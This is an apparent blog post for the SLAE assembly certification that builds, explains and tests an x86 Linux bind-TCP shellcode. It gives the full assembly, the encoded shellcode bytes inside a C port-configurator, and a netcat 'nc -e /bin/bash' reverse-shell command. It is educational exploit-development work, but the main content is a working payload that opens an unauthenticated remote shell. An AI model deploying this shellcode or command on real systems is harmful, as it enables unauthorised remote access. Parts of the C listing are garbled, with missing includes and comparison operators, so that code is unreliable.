SLAE Assignment 1: Create a shell_Bind_TCP shellcode

OK, this is ‘assignment 1’ of the SLAE exam. The assignment is to

  • Create a shell_Bind_TCP shellcode.
  • The shellcode should:
    • Binds to a TCP port
    • Execute a ‘shell’ when an connection is made to the TCP port
    • The TCP port which the shellcode binds to should be easily configurable

Assignment Approach

When starting the assignment, I did some initial research about the task at hand to determine the approach I would use. One of the SLAE modules covers the analysis of Metasploit shellcode which binds to a port and then executes a shell on an incoming network connection so we’ve been given a good understanding of how it works. In terms of how I would approach the assignment there seemed to be a number of options:

  • Using assembly only
  • Write some code in C which does the same thing, analyse the assembly code which is produced and then write the shellcode by adapting that, removing bad characters etc
  • Analyse the following netcat commands to obtain the assembly instructions and work from there.
    • nc -lvp 4444
    • nc -e /bin/bash 192.168.1.10 4444

I decided as the assignment forms part of the assessment for an assembly based certification it would make sense to write the shellcode directly in assembly. Hopefully  demonstrating I’ve understood the concepts which have been covered in the course.

I’ve also decided to provide a relatively detailed description of the different system calls and how they are used in the shellcode. It took me quite some time to work through the Ubuntu man page entries for the system calls and piece together how they worked.

SLAE Module on Metasploit shell_bind_tcp shellcode

Module 14 of the SLAE course contains a lot of very useful information about the approach which can be used to create the shellcode which will bind to an IP address and TCP port then execute a shell when an incoming connection is initiated. The IP address and TCP port setup and configuration used the socketcall() system call.

System-Call Overview

Before getting stuck into the socketcall() system calls I thought I’d add a brief overview of how the Linux system calls are used. System Calls are used to access low level kernel functions and are used extensively within shellcode. The system calls below all use the following approach:

  • Each system call function has an ID number. The system call function ID is placed in the EAX register. On an x86 32-Bit system the system call ID’s are defined within the file unistd_32.h. On the Ubuntu 16.04 LTS machine I used for writing the shellcode the file was located in the path /usr/include/i386-linux-gnu/asm
  • The system calls function’s arguments are set using one of the two approaches:
    • The system call function’s arguments are set in the remaining registers EBX, ECX etc.
    • A data structure is constructed and a pointer to the data structure placed in the required register, as is the case with the socketcall() system call.

Setting up TCP IP Connections using socketcall()

The Ubuntu man pages 7 TCP provides an overview of the network connection setup process and the associated system calls which must be made. The system calls are multiplexed within the socketcall() system call. What this means is the socketcall system call contains a number of sub-functions. When setting up a network connection the system calls that must be made are different depending on whether the network connection will function as a client or a server. For the shell_bind_tcp shellcode the network connection will function as a server and therefore requires the socketcall() system calls listed in the table below to be invoked.

The information in the table below is an overview taken from the man pages for the tcp, socketcall(), socket(), bind(), listen() and accept() system calls which are required for the shellcode.

socketcall() system calls Action Details
socket() Creates a socket. A newly created TCP socket has no remote or local address and is not fully specified. When a socket is created, it exists in a name space, the address family, but has no address assigned to it.
bind() Binds the socket to a local IP address and TCP port Assigns the address and TCP port specified in the bind() function’s argument data structure
listen() Sets the socket to be in a listening state. Marks the socket referred to by the file descriptor as a passive socket that will be used to accept incoming connections, i.e. a server. Incoming connections are handled using accept.
accept() Gets a new socket for each incoming connection that can be accepted using accept(2). Extracts the first connection request on the queue of pending connections for the listening socket. Creates a new connected socket and returns a new file descriptor referring to that socket.

Deciphering the socketcall() system-call

I now know the order in which the socketcall() functions must be made. The following section works through how to construct system calls required for the socketcall() functions.

socketcall() overview

As discussed above the socketcall() system call provides a common kernel entry point for the networking system calls. The socketcall() system call has the following function prototype which is detailed in the socketcall() man 2 page entry.

int socketcall(int call, unsigned long *args);

socketcall() Arguments

The entry point for the networking related system calls socketcall() has the following two arguments.

Argument Details
int call Defines which socketcall sub-function to invoke, is set in the EBX register
unsigned long *args A pointer to the actual arguments data structure, which are passed through to the appropriate sub-function call, is set in the ECX register

socketcall() sub-function IDs

The socketcall() system call sub-functions ID numbers provide the values to be placed into the EBX register. The sub-function ID numbers are documented within the file ‘net.h’. On my Ubuntu system the net.h file was located within the folder: /usr/include/linux.

The following extract is from the net.h file and shows the values required to be set in the EBX register for some of the sub-functions which will be used within the shellcode for the assignment.

#define SYS_SOCKET         1             /* sys_socket(2)*/
#define SYS_BIND           2             /* sys_bind(2)*/
#define SYS_CONNECT        3             /* sys_connect(2)*/
#define SYS_LISTEN         4             /* sys_listen(2)*/
#define SYS_ACCEPT         5             /* sys_accept(2)*/
#define SYS_GETSOCKNAME    6             /* sys_getsockname(2)*/
#define SYS_GETPEERNAME    7             /* sys_getpeername(2)*/

socketcall() Register Values and argument mapping

When making a socketcall() system call there are 3 registers which must have values set. The details of the required values are listed in the table below. Of the three registers the ECX values are the most complicated to set as it is a pointer to a data structure containing the sub-functions arguments.

Register Value
EAX 0x66, socketcall() system-call ID number
EBX socketcall() sub-function ID:

0x01 – socket
0x02 – bind
0x04 – listen
0x05 – accept

ECX Pointer, memory Address of sub-function arguments data structure. Each sub-function has a specific set of arguments.

I now have enough information about the socketcall() system call to start working through each of the required socketcall() sub-function system calls.

Call 1: socket()

The first system call which must be made is the socket() sub-function which creates an endpoint for network communication. Socket() has the following prototype:

int socket(int domain, int type, int protocol);

socket() Return Value

On success socket() returns a file descriptor to the new socket which was created. The file descriptor must be stored as it will be used in the subsequent sub-function calls.

socket() arguments data structure

The socket() function requires the following arguments are stored as a data structure. In the shellcode the argument data structure will be stored on the stack. As the stack grows from high to lower memory addresses the arguments must be placed on the stack in reverse order and each individual argument must be stored with the required size instruction.

# Argument Name Type Size Argument Details
1 domain int dword 0x02 0x02 sets AF_INET which specifies that the connection will bind to an IP V4 network address. The details for can be found in the socket() man pages entry
2 type int dword 0x01 SOCK_STREAM: Defines that a TCP connection will be used
3 protocol int dword 0x00 The protocol to be used with the socket

socket() system-call register values:

Register Value Details
EAX 0x66 socketcall() system-call ID number
EBX 1 socket() sub-function ID
ECX Value set a run time using the stack pointer memory address after the data structure is stored on the stack. Memory Address of argument_data_structure

socket() Instructions

Now I’ve worked through the first system call I can put the required instructions together.

Notice in the comments that there is a distinction between the arguments for the socketcall() function and the socket() sub function. They are written as:

socketcall(Socketcall arg#1, socketcall arg#2)
sub-function(Sub-Function arg#1, Sub-function arg#2, Sub-Function arg#3.......)
socket(socket() arg#1, socket() arg#2........)

As the names are similar the difference can easily be missed.

socket:
push BYTE 0x66   ; Store 0x66 on the stack
pop eax          ; Set system call ID value 0x66 for socketcall
cdq              ; Zero EDX, cdq converts a double-word to quad-word storing the 
                 ; result in EDX:EAX. As EAX contains 0x66 EDX is set to 0x0. 
                 ; cdq is a 1-byte instruction. 
mov ebx, edx     ; Zero EBX
inc ebx          ; Set the socketcall() arg#1 sub-function ID to 1 for socket()
                 ; The next set of instructions create the Argument data structure on the stack
push edx         ; Store the socket() arg#3 'protocol' value 0x0 on the stack
push ebx         ; Store the socket() arg#2 'type' value 0x1 on the stack
push BYTE 0x2    ; Set the socket() arg#1 'domain' value 0x2 on the stack 
mov ecx, esp     ; Set the socketcall() arg#2 argument data structure pointer
int 0x80         ; Execute system call            

Call 2: bind()

A socket should now have been successfully created. The next step is to use the bind() function to assign a IP address and TCP port to the network connection. The bind() sub-function has the following prototype:

       int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

bind() Return Value

On success, zero is returned.  On error -1 is returned and errno is set appropriately.

bind() Arguments

The bind() system call has the following arguments. The 1st and the 3rd are relatively straight forward, however the 2nd is a little more complex as it is a pointer to another struct type.

# Argument Name Type Size Argument Details
1 sockfd int dword Value returned to EAX from the previous socket() system-call. File descriptor returned by the previous socket() system-call
2 *addr sockaddr_in struct dword Memory address Pointer to the argument data structure
3 addrlen socklen_t struct int, see here for details 16 Size of the argument data structure in bytes.

bind() *addr Argument sockaddr Data structure

The ‘addr*’ argument is a pointer to a ‘sockaddr’ data structure. The sockaddr data structure is defined within man pages 7 IP and has the following definition:

Address format: An IP socket address is defined as a combination of an IP interface address and a 16-bit port number.  The basic IP protocol does not supply port numbers, they are implemented by higher level protocols like udp(7) and tcp(7).  On raw sockets sin port is set to the IP protocol.

 The ‘sockaddr’ data structure has the following definition. Again the 1st and 2nd arguments are straight forward. The 3rd argument appears to be more complex as it is another data structure of type ‘in_addr’. However, the value used ix zero as network connection will bind the socket to all available IP addresses, which is a good approach to go for.

struct sockaddr_in {
    sa_family_t sin_family;    /* address family: AF_INET */
    in_port_t sin_port;        /* port in network byte order */
    struct in_addr sin_addr;   /* see internet address for definition*/
};

‘in_addr’ structure definition

struct in_addr {
    uint32_ s_addr;     /* address in network byte order */
};

Again, the sockaddr data structure will be stored on the stack with the arguments stored in reverse order. Additionally the port number must have the bytes reversed as it needs to be stored in ‘network byte’ order.

sockaddr members Type Size Argument Details
sin_family sa_family word 0x2 Always set to AF_INET which is 2
sin_port in_port_t word 0x8888

34952

TCP Port number to bind to. The port must be  entered in network byte order i.e. in reverse
sin_addr struct in_addr dword 0x0  Zero set the network connection to bind to all available IP addresses.

bind() system-call register values:

The register values for the bind() system call are as follows, with the actual value for the ECX register being set at run time by setting the stack pointer address in the ECX register.

Register Value Details
EAX 0x66 socketcall() system-call ID number
EBX 2 bind() sub-function ID
ECX Value set a run time using the stack pointer memory address after the data structure is stored on the stack. Memory Address of argument_data_structure

bind() Instructions

Lets put together the assembly instructions for the bind() system call.

bind:
push edx          ; Store 'sockaddr *addr' data structure sin_addr value 0x0 on the stack
push WORD 0x3582  ; Store 'sockaddr *addr' data structure sin_port value in reverse network 
                  ; byte order i.e. 0x8235 is stored as 0x3582 on the stack
inc ebx           ; Set socketcall() arg1# sub-function ID to 2 for bind()
push  WORD bx     ; Store 'sockaddr *addr' data structure sin_family value to 0x2 on the stack
mov edi, esp      ; Store memory address of the *addr data structure in the EDI register
push BYTE 0x10    ; Store bind() arg#3 addrlen value of 16 bytes on the stack
push edi          ; Store bind() arg#2 *addr pointer address on the stack
push eax          ; Store bind() arg#1 sockfd file descriptor on the stack
mov ecx, esp      ; Set socketcall() arg#2 argument data structure pointer
mov al, BYTE 0x66 ; Set system call ID arg#1 value of 0x66
int 0x80          ; Execute system call

Call 3: listen()

The listen() system call sets the socket as passive, meaning it will be used to receive incoming connections. The listen() sub-function has the following prototype:

       int listen(int sockfd, int backlog);

listen() Return Value

On success, zero is returned.  On error -1 is returned and errno is set appropriately.

listen() Arguments:

# Argument Name Type Size Argument Details
1 sockfd int dword  file descriptor file descriptor returned by the socket() system-call
2 backlog int dword Uses value in previous data structure The maximum length of the queue of pending connections for sockfd

listen() system-call register values:

Register Value Details
EAX 0x66 socketcall() system-call ID number
EBX 4 socket() sub-function ID
ECX Memory Address of argument_data_structure

listen() instructions

The listen() system call data structure has the same arguments as the first two of the previous bind() data structure. Therefore the instructions won’t include those required to set those value to reduce the size of the final shellcode. The reasoning behind this is as follows:

  • Leave the ECX register pointing at the same data structure as the previous bind() call
  • Don’t set the value for backlog, use the value that is already there from the previous data structure as I don’t really care how large the queue of pending connections is.
  • The data structure already contains the sockfd file descriptor, so leave it as it is.

As a result the number of instructions needed to for the listen() system call is significantly reduced. Only socketcall() argument #1 and #2 need to be set.

listen:
inc ebx             ; Set socketcall() arg#2 sub-function ID in EBX to 0x3 for bind()
inc ebx             ; Repeat to above to get the value 0x4
mov al, BYTE 0x66   ; Set socketcall arg#1 ID 0x66
int 0x80            ; Execute system call

Call 4: accept()

The accept() system call extracts the first connection request on the queue of pending connections for the listening socket, creates a new connected socket, and returns a new file descriptor referring to that new socket.The accept() function parameters are the same as that of the bind() function with the following prototype:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

accept() Return Value

On success, these system calls return a nonnegative integer that is a descriptor for the accepted socket. On error, -1 is returned, and errno is set appropriately.

accept() system-call register values:

Register Value Details
EAX 0x66 socketcall() system-call ID number
EBX 4 socket() sub-function ID
ECX  Value set a run time Memory Address of argument_data_structure

accept() arguments data structure

Although the arguments are the same as the bind() system call the actual required values are very different.After a little testing I found that it was possible to set the 2nd and 3rd arguments to zero, which allows the number of instructions required to be reduced.

# Argument Name Type Size Argument Details
1 sockfd int dword Value returned to EAX from the previous socket() system-call. Memory address of the file descriptor returned by the previous socket() system-call
2 *addr sockaddr_in struct dword 0x0 Pointer to the argument data structure
3 addrlen socklen_t struct int, see here for details 0x0 Size of the argument data structure in bytes.

accept() instructions

As can be seen setting up the accept() system call is relatively easy.

accept:
inc ebx           ; Set socketcall() arg#1 sub-function ID to 5 for sys_bind()
push edx          ; Store accept() arg#3 addrlen value to 0x0 on the stack
push edx          ; Store accept() arg#2 *addr value to 0x0 on the stack
push BYTE 0x3     ; Store accept() arg#1 sockfd file descriptor on the stack
mov ecx,  esp     ; Set socketcall() arg#2 argument data structure pointer
mov al, BYTE 0x66 ; Set system call ID 0x66
int 0x80          ; Execute system call

Redirecting the stdin, stdout and stderr to use the Network Connection

The network connection is now complete and ready to accept incoming network connections. The accept() system call is only executed once an incoming connection to the IP address and TCP port is received. When an incoming connection is received the stdin, stdout and stderr I/O streams must be redirected to use the file descriptor for the network connection returned from the accept() system call.  The dup2() system call does exactly that.

Call 5: dup2()

The dup2() system call performs the following steps:

  • Closes the current file descriptor referred to by the newfd argument
  • Copies the file descriptor set in the oldfd argument value to the new file descriptor referred to by newfd.
  • Once the dup2() system call has completed the oldfd and newfd can be used interchangeably as they are now identical.

As all input and output should be redirected to the new file descriptor a loop will be used to perform a dup2() system call for stdin, stdout and stderr.

The dup2() system call has the following function protoype:

int dup2(int oldfd, int newfd);

The system call is pretty straight forward compared to some of the socketcall() system calls.

dup2() system-call register values:

Register Value Details
EAX 0x3f dup2() system-call ID number
EBX 4 Old file descriptor value, returned by the accept() system call.
ECX 0, 1, 2 New file descriptor value for stdin, stdout and stderr.

dup2() instructions

The instructions below are split into two parts.

  1. Setup for the loop
  2. Loop to repeat the dup2() system call which redirects the stdin, stdout and stderr to the file descriptor returned by the accept() system call.
; Redirect the std file descriptors to the newly created socket, 
; returned from accept()
; Loop setup
dec ebx             ; Set file descriptor returned by accept() in EBX 
                    ; dup2() arg#1, the source. Previous value 0x5
push edx            ; Zero ECX
pop ecx             ; Zero ECX
mov cl, BYTE 0x2    ; Set the loop counter value to 0x2, will count down to 0
                    ; The loop counter is also the value for the dup2() arg#2
                    ; the new file descriptor

; Loop 3 times to set the stdin, stdout and stderr to the file descriptor 
; returned by the accept() call
; The loop starts with a value for newfd at 0x2 and counts down to zero
loop:
mov al, BYTE 0x3f   ; Set system call ID for dup2() - 0x3f 
int 0x80            ; Execute dup2() system call
dec ecx             ; decrement loop counter and newfd argument value. 
jns loop            ; Jump if sign flag is not set, immediatly after the 3rd dup2() 
                    ; system call ECX will be 0x0. It is then decremented
                    ; making the value negative which stops the jump from being
                    ; taken.

Call 6: execve

The final system call of the shellcode is to execute a shell application in this case /bin/sh. The execve() system call is used to execute another application and has the following function prototype:

int execve(const char *filename, char *const argv[], char *const envp[]);

execve() arguments

# Argument Name Type Size Argument Details
1 *filename pointer dword  value in ESP The filename string is stored on the stack and the ESP address set as the pointer
2 argv[] pointer dword No arguments are set, so a ‘0’ is stored on the stack and the ESP address set in the ECX register
3 envp[] pointer dword Again, no arguments are set. So the same ‘0’ as in the previous argument will be used. The address in ESP will be set in the EDX register.

execve() register values

Register Value Details
EAX 0xb dup2() system-call ID number
EBX Pointer value set at run time A pointer to the filename on the stack. The filename is padded with ‘/’ characters to make the lenght a factor of 4, which ensures alignment of the filename on the stack.
ECX Pointer value set at run time A pointer to 0x0 on the stack
EDX Pointer value set at run time A pointer to 0x0 on the stack, the same as above to reduce the number of instructions required.

execve() instructions

The execve() instructions are relatively straight forward. As mentioned above the 3rd and 4th arguments will point to the same 0x0 value on the stack to reduce the number of instructions.

The file name is made of the following ASCI codes:

2f 2f 62 69 6e 2f 73 68

Which translates to ‘//bin/sh’. The repeated ‘/’ character is used to pad the file name string to be a multiple of ‘4’ to ensure correct allignment on the stack and is ignored by the execve() system call resulting in the path /bin/sh.

Also notice that the filename string is pushed onto the stack in reverse order:

push 0x68732f6e 
push 0x69622f2f

The execve() system call doesn’t have a return type as the program’s execution moves to the newly executed program and doesn’t ever return to the shellcode.

; sys_execve sys_call
push edx            ; Store a NULL string terminator on the stack 
mov edx, esp        ; Set the execve() envp[] pointer in EDX, arg #3
mov ecx, esp        ; Set the execve() argv[] pointer in ECX, arg #2
                    ; Set arg#2 and arg #3 to the same pointer as neither 
                    ; contain a value, which reduces the number of instructions 
                    ; in the shellcode. 
push 0x68732f6e     ; Store the execve() filename string on the stack
push 0x69622f2f     ; Store the execve() filename string on the stack
mov ebx, esp        ; Set the execve() file name pointer argument, arg #1
   
mov al, BYTE 0x0b   ; Set the execve() system call ID, 0xb
int 0x80            ; Execute system call.

Verifying the shellcode doesn’t contain bad characters

Now the shellcode instructions are complete we need to check that there aren’t any NULL Bytes within the instructions. Before checking for NULL bytes we need to ensure that the program has been assembled without using nasm’s ‘-ggdb’ option as it the option adds two debugging sections to the executable, ‘.stab’ and ‘.stabstr’,  which contain lots of NULL Bytes. The ‘objdump’ tool piped to the ‘grep’ command allows us to see if there are any NULL Bytes within the shellcode.

objdump -D ./binshell -M intel | grep 00

The command doesn’t return anything, therefore there aren’t any NULL values within the shellcode. The file containing the assembly instructions from the compiled executable can be found here: slae_a1_objdump_instructions.txt

The instructions were extracted from the executable using the following command:

objdump -D ./binshell -M intel

Testing the shellcode

The shellcode instructions will now be placed in the shellcode.c template used in the course and executed, this gives us the number of instructions in the shellcode, which is of interest as the fewer the better.

The screenshot below shows the shellcode being run on my ubuntu system with the number of instructions being 85

slae_a1_shellcode_length

The next screenshot shows the client connecting to the network connection on port 65518 and executing the ls command which returns the files within the folder.

slae_a1_shellcode_ls_command

Port Configuration

The last part of the assignment is to provide a way of changing the port number within the shellcode. For this assignment I thought I’d use C to write the program. The portconfig program basically splits the instructions required into a number of string variables and then puts inserts the required port number. The program runs as a terminal application and takes one argument, the port number. I chose to require the port number to be enclosed in %%, so the usage would be

./portconfig %1434%

The program will then print out the assembly instructions with the chosen port having been configured within the shellcode. It doesn’t perform checking whether the port number contains zero values. So the user should choose a port number without any zeros otherwise the shellcode instructions will contain a bad character.

I won’t provide a detailed explanation of the code as it has a reasonable level of commenting.

#include 
#include 
#include 

#define MAXPORT 65535
#define MINPORT 1
#define HEX_STRING_SIZE 4

// Function Prototypes
void printParamError();
int paramCheck();
int toDec(int lastdec, char* argArray[]);
void decToHex(unsigned int number, char* hexString);

int main(int argc, char* argv[])
{
    // shell_bind_tcp shellcode strings
    char shellcode1[] = \
    "\"\\x6a\\x66\\x58\\x99\\x89\\xd3\\x43\\x52\\x53\\x6a\\x02\\x89"
    "\\xe1\\xcd\\x80\\x52\\x66\\x68\\x";
    char shellcode2[] =  "\\x";
    char shellcode3[] =  \
    "\\x43\\x66\\x53\\x89\\xe7\\x6a\\x10\\x57"
    "\\x50\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x43\\x43\\xb0\\x66\\xcd\\x80"
    "\\x43\\x52\\x52\\x6a\\x03\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x4b\\x52"
    "\\x59\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x89\\xe2"
    "\\x89\\xe1\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89"
    "\\xe3\\xb0\\x0b\\xcd\\x80\"";
    
    // Call functions to check the port argument is numeric. 
    int i = paramCheck(argc, argv);
    if(i == 0){return 0;}
    
    // Call function to convert command line argument to an integer. 
    int portNumber = toDec(i, argv);
    
    // Allocate required memory for the string that will hold the 
    // hex version of the port number. 
    char* hexInteger = malloc(sizeof(char)* HEX_STRING_SIZE);
    
    // Set the string terminator NULL byte
    hexInteger[HEX_STRING_SIZE] = '\0';
    
    // Call function to convert the decimal number to a hex string. 
    decToHex(portNumber, hexInteger);
    
    // print the shellcode with the chosen port number. 
    // printf("Shellcode with a port number: %d is:\n", portNumber);
    printf("%s%c%c%s%c%c%s\n", shellcode1, hexInteger[2], 
    hexInteger[3], shellcode2, hexInteger[0], 
    hexInteger[2], shellcode3);
    
    // free the memory which was allocated for the hex string variable. 
    free (hexInteger);
    return 0;
}

// function converts a decimal integer to a string containing 
// it's hex equivilent. 
void decToHex(unsigned int number, char* hexString)
{
    // Variable used to track the character within the hex string array.     
    int i = (HEX_STRING_SIZE-1);
    // Variable used to store the quotient when calculating 
    // the hex vales. 
    unsigned int quotient = number;
    
    // Loop through the array hexstring array starting at
    // the last character
    while(i >= 0)
    {
        // check if the result is a hex value 0-9
        if(quotient%16 >= 0 && quotient%16  9 && quotient%16  2 )
    {
        printParamError();
        return 0;
    }
    
    // check for first delimiter character
    if(argArray[1][0] != '%')
    {
        printParamError();
        return 0;
    }
        
    // Check that the port argument characters are all numeric
    int i = 1;
    for(i =1; i < 7; i++)
    { 
        // Check for the end of the port number delimiter and break
        if (argArray[1][i] == '%')
        {
            // check to see if the argument has any characters, 
            // if the second delimiter character is the 2nd character
            // in the string then a port number hasn't been entered. 
            if(i ==1)
            {
                printParamError();
                return 0;
            }
            break;
        }
        // check if the character in the arg array is numeric using 
        // the ASCII code range. 
        if (argArray[1][i]  '9')
        {
            printParamError();
            return 0;
        }
    }    
    // Return the position of the numeric character in the string. 
    return i-1;
}

// Print Error function, prints usage information for the program
void printParamError()
{
    printf("Usage: ./portConfig %%Port Number%%\nThe port number "
    "should be between 1 and 65535 and within %% signs\n");    
}

Source Code

The source code for the shellcode and ‘portconfig’ applications can be found in the following Git Hub repository

https://github.com/raidersofthelostarg/slae/tree/master/assignment-1

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-793

Advertisements
This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s